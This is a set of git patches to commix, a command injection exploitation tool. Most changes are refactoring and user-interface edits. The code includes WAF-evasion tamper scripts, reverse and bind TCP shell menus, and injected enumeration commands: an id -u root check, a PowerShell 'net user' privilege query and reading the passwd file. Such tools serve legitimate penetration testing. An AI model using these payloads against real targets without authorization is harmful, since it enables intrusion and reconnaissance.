index 2c7fd9813f..884a211bee 100644
--- a/src/core/tamper/backticks.py
+++ b/src/core/tamper/backticks.py
@@ -18,7 +18,7 @@
"""
About: Uses backticks instead of "$()" for commands substitution on the generated payloads.
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "backticks"
diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py
index f405f546f8..df5e2e96d5 100644
--- a/src/core/tamper/dollaratsigns.py
+++ b/src/core/tamper/dollaratsigns.py
@@ -19,7 +19,7 @@
"""
About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads.
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "dollaratsigns"
diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py
index 45470bb5ed..a044527cb2 100644
--- a/src/core/tamper/doublequotes.py
+++ b/src/core/tamper/doublequotes.py
@@ -19,7 +19,7 @@
"""
About: Adds double quotes (") between the characters of the generated payloads.
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "doublequotes"
diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py
index 5d0adcb190..912d91288c 100644
--- a/src/core/tamper/nested.py
+++ b/src/core/tamper/nested.py
@@ -20,7 +20,7 @@
"""
About: Adds double quotes around of the generated payloads (nested).
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "nested"
diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py
index 3d8bc259c6..585a0e795c 100644
--- a/src/core/tamper/singlequotes.py
+++ b/src/core/tamper/singlequotes.py
@@ -19,7 +19,7 @@
"""
About: Adds single quotes (') between the characters of the generated payloads.
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "singlequotes"
diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py
index 32b9e1fd8d..973f33f6cf 100644
--- a/src/core/tamper/slash2env.py
+++ b/src/core/tamper/slash2env.py
@@ -17,7 +17,7 @@
"""
About: Replaces slashes (/) with environment variable value "${PATH%%u*}".
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/
"""
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
index 5f89b91c19..f647e32942 100644
--- a/src/core/tamper/sleep2timeout.py
+++ b/src/core/tamper/sleep2timeout.py
@@ -19,7 +19,7 @@
"""
About: Uses "timeout" function for time-based attacks.
- * Regarding unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost".
+ * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost".
* Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX".
Notes: This tamper script works against all targets.
"""
diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py
index d3a2fa98cb..5b1b4d3e2d 100644
--- a/src/core/tamper/sleep2usleep.py
+++ b/src/core/tamper/sleep2usleep.py
@@ -19,7 +19,7 @@
"""
About: Replaces "sleep" with "usleep" command in the generated payloads.
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
Reference: http://man7.org/linux/man-pages/man3/usleep.3.html
"""
diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py
index 680ae99265..5ded16eccc 100644
--- a/src/core/tamper/space2ifs.py
+++ b/src/core/tamper/space2ifs.py
@@ -19,7 +19,7 @@
About: Replaces space character ('%20') with the internal field separator ('$IFS').
The internal field separator refers to a variable which defines the character
or characters used to separate a pattern into tokens for some operations.
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "space2ifs"
diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py
index 84cb8c9f45..6c50770eb7 100644
--- a/src/core/tamper/uninitializedvariable.py
+++ b/src/core/tamper/uninitializedvariable.py
@@ -22,7 +22,7 @@
"""
About: Adds uninitialized bash variables between the characters of each command of the generated payloads.
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/
"""
diff --git a/src/utils/common.py b/src/utils/common.py
index 99b49c8eef..7137f1ca01 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -39,44 +39,48 @@ def is_empty():
else:
return value
- value = None
- if "\n" in message:
- message += ("\n" if message.count("\n") > 1 else "")
+ try:
+ value = None
+ if "\n" in message:
+ message += ("\n" if message.count("\n") > 1 else "")
- elif len(message) == 0:
- return is_empty()
+ elif len(message) == 0:
+ return is_empty()
- if settings.ANSWERS:
- if not any(_ in settings.ANSWERS for _ in ",="):
- return is_empty(message, default=None, check_batch=True)
- else:
- for item in settings.ANSWERS.split(','):
- question = item.split('=')[0].strip()
- answer = item.split('=')[1] if len(item.split('=')) > 1 else None
- if answer and question.lower() in message.lower():
- value = answer
- print(settings.print_message(message + value))
- return value
- elif answer is None and value:
- return is_empty()
-
- if value:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Used the given answer."
- print(settings.print_debug_msg(debug_msg))
- print(settings.print_message(message + value))
- return value
-
- elif value is None:
- if check_batch and menu.options.batch:
+ if settings.ANSWERS:
+ if not any(_ in settings.ANSWERS for _ in ",="):
+ return is_empty(message, default=None, check_batch=True)
+ else:
+ for item in settings.ANSWERS.split(','):
+ question = item.split('=')[0].strip()
+ answer = item.split('=')[1] if len(item.split('=')) > 1 else None
+ if answer and question.lower() in message.lower():
+ value = answer
+ print(settings.print_message(message + value))
+ return value
+ elif answer is None and value:
+ return is_empty()
+
+ if value:
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Used the default behavior, running in batch mode."
+ debug_msg = "Used the given answer."
print(settings.print_debug_msg(debug_msg))
- print(settings.print_message(message + default))
- return default
- else:
- return is_empty()
-
+ print(settings.print_message(message + value))
+ return value
+
+ elif value is None:
+ if check_batch and menu.options.batch:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Used the default behavior, running in batch mode."
+ print(settings.print_debug_msg(debug_msg))
+ print(settings.print_message(message + default))
+ return default
+ else:
+ return is_empty()
+ except KeyboardInterrupt:
+ print(settings.SINGLE_WHITESPACE)
+ raise
+
"""
Extract regex result
"""
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 78fe3a3900..875632d9cd 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -584,7 +584,7 @@ def banner():
action="store_true",
dest="offline",
default=False,
- help="Work in offline mode.")
+ help="Work in offline mode.\n")
misc.add_option("--wizard",
action="store_true",
@@ -642,59 +642,53 @@ def _(self, *args):
The "os_shell" available options.
"""
def os_shell_options():
- print("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
-Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
-Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix.
-Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.
-Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.
-""")
+ print("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""")
"""
The "reverse_tcp" available options.
"""
def reverse_tcp_options():
- print("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
-Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value.
-Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
-Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix.
-Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell.
-Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.
-""")
+ print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""")
"""
The "bind_tcp" available options.
"""
def bind_tcp_options():
- print("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Available options""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
-Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value.
-Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
-Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix.
-Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell.
-Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.
-""")
+ print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""")
"""
The available mobile user agents.
"""
def mobile_user_agents():
- print("""---[ """ + Style.BRIGHT + Fore.BLUE + """Available smartphones HTTP User-Agent headers""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7.
-Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365.
-Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10.
-Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8.
-Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8.
-Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950.
-Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7.
-Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97.
-Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel".
-Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""")
+ print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel".
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""")
"""
The tab compliter (shell options).
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index f91f9ec67e..e545b77d2d 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -278,8 +278,8 @@ def notification(url, technique, injection_type):
try:
if settings.LOAD_SESSION == True:
while True:
- message = "A previously stored session has been held against that host. "
- message += "Do you want to resume to the "
+ message = "A previously stored session has been held against that target. "
+ message += "Do you want to resume to "
message += "(" + injection_type.split(" ")[0] + ") "
message += technique.rsplit(' ', 2)[0]
message += " injection point? [Y/n] > "
@@ -318,6 +318,8 @@ def notification(url, technique, injection_type):
pass
except sqlite3.OperationalError as err_msg:
print(settings.print_critical_msg(err_msg))
+ except (KeyboardInterrupt, SystemExit):
+ raise
"""
Check for specific stored parameter.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 65ca93ef3c..14389aeae3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -58,11 +58,13 @@ class HTTPMETHOD(object):
CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] "
PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] "
SUB_CONTENT_SIGN = " " * 11 + Fore.GREY + "|_ " + Style.RESET_ALL
+SUB_CONTENT_SIGN_TYPE = Fore.LIGHTRED_EX + " * " + Style.RESET_ALL
TRAFFIC_SIGN = HTTP_CONTENT_SIGN = ""
ABORTION_SIGN = ERROR_SIGN
DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] "
DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT
CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: "
+OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL
OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """
REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """
BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """
@@ -173,6 +175,11 @@ def print_sub_content(sub_content):
result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL
return result
+# Print sub content message
+def print_retrieved_data(cmd, retrieved):
+ result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + cmd + ": " + str(retrieved) + Style.RESET_ALL
+ return result
+
# Print output of command execution
def command_execution_output(shell):
result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
@@ -234,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "77"
+REVISION = "78"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -507,9 +514,10 @@ def sys_argv_errors():
HOSTNAME = "hostname"
WIN_HOSTNAME = "echo %COMPUTERNAME%"
-# Check if current user is root
+# Check if current user has excessive privileges
+# Unix-like: root
IS_ROOT = "echo $(id -u)"
-# Check if current user is admin
+# Windows: admin
IS_ADMIN = "powershell.exe -InputFormat none [Security.Principal.WindowsBuiltinRole]::Administrator"
# Operation System.
From f7ca42f9967411c11ec0b2e16dbf38d1cbca42ee Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 8 Jun 2022 07:38:21 +0300
Subject: [PATCH 155/560] Additional fixes / updates regarding commit
https://github.com/commixproject/commix/commit/40eea73a1aea866f06defe942e5a71222a765c2b
---
.../techniques/time_based/tb_enumeration.py | 359 ++----------
.../techniques/time_based/tb_file_access.py | 232 ++------
.../blind/techniques/time_based/tb_handler.py | 6 -
src/core/injections/controller/checks.py | 518 +++++++++++++++++-
.../techniques/classic/cb_enumeration.py | 354 ++----------
.../techniques/classic/cb_file_access.py | 216 ++------
.../techniques/eval_based/eb_enumeration.py | 351 ++----------
.../techniques/eval_based/eb_file_access.py | 188 ++-----
.../techniques/file_based/fb_enumeration.py | 335 ++---------
.../techniques/file_based/fb_file_access.py | 190 ++-----
.../tempfile_based/tfb_enumeration.py | 362 ++----------
.../tempfile_based/tfb_file_access.py | 229 ++------
.../techniques/tempfile_based/tfb_handler.py | 6 -
.../techniques/tempfile_based/tfb_injector.py | 4 +-
src/core/modules/shellshock/shellshock.py | 380 ++-----------
src/core/shells/bind_tcp.py | 1 -
src/core/shells/reverse_tcp.py | 1 -
src/utils/settings.py | 11 +-
18 files changed, 1037 insertions(+), 2706 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 7db7f2f3cf..db2344bd2f 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -44,27 +44,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
ps_version = output
- try:
- if float(ps_version):
- settings.PS_ENABLED = True
- ps_version = "".join(str(p) for p in output)
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- # Output PowerShell's version number
- info_msg = "Powershell version: "
- info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Powershell version: " + ps_version + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- except ValueError:
- warn_msg = "Heuristics have failed to identify the version of Powershell, "
- warn_msg += "which means that some payloads or injection techniques may be failed."
- print("\n" + settings.print_warning_msg(warn_msg))
- settings.PS_ENABLED = False
+ checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
@@ -74,26 +54,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- shell = output
- if shell:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Hostname: " + str(shell)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to identify the hostname."
- print(settings.print_warning_msg(warn_msg))
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_hostname(shell, filename, _)
"""
Retrieve system information
@@ -139,20 +105,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
- if target_os and target_arch:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch underlying operating system information."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
@@ -164,26 +117,12 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ check_how_long, cu_account = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
_ = True
else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- cu_account = output
- if cu_account:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Current user: " + str(cu_account)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Current user: " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch the current user."
- print(settings.print_warning_msg(warn_msg))
+ cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
@@ -195,26 +134,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- shell = output
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- _ = "True"
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- _ = "False"
-
- info_msg = "Current user has excessive privileges: " + str(_)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
@@ -222,17 +147,10 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
@@ -244,235 +162,24 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_users = output
- # Windows users enumeration.
- if settings.TARGET_OS == "win":
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- sys.stdout.write(settings.SUCCESS_STATUS)
- sys_users_list = re.findall(r"(.*)", sys_users)
- sys_users_list = "".join(str(p) for p in sys_users_list).strip()
- sys_users_list = ' '.join(sys_users_list.split())
- sys_users_list = sys_users_list.split()
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- count = count + 1
- if menu.options.privileges:
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
- if alter_shell:
- cmd = cmd.replace("'","\\'")
- cmd = "cmd /c " + cmd
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- check_privs = cb_injector.injection_results(response, TAG, cmd)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = re.findall(r"(.*)", check_privs)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = check_privs.split()
- if "Admin" in check_privs[0]:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
- is_privileged_nh = " is admin user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
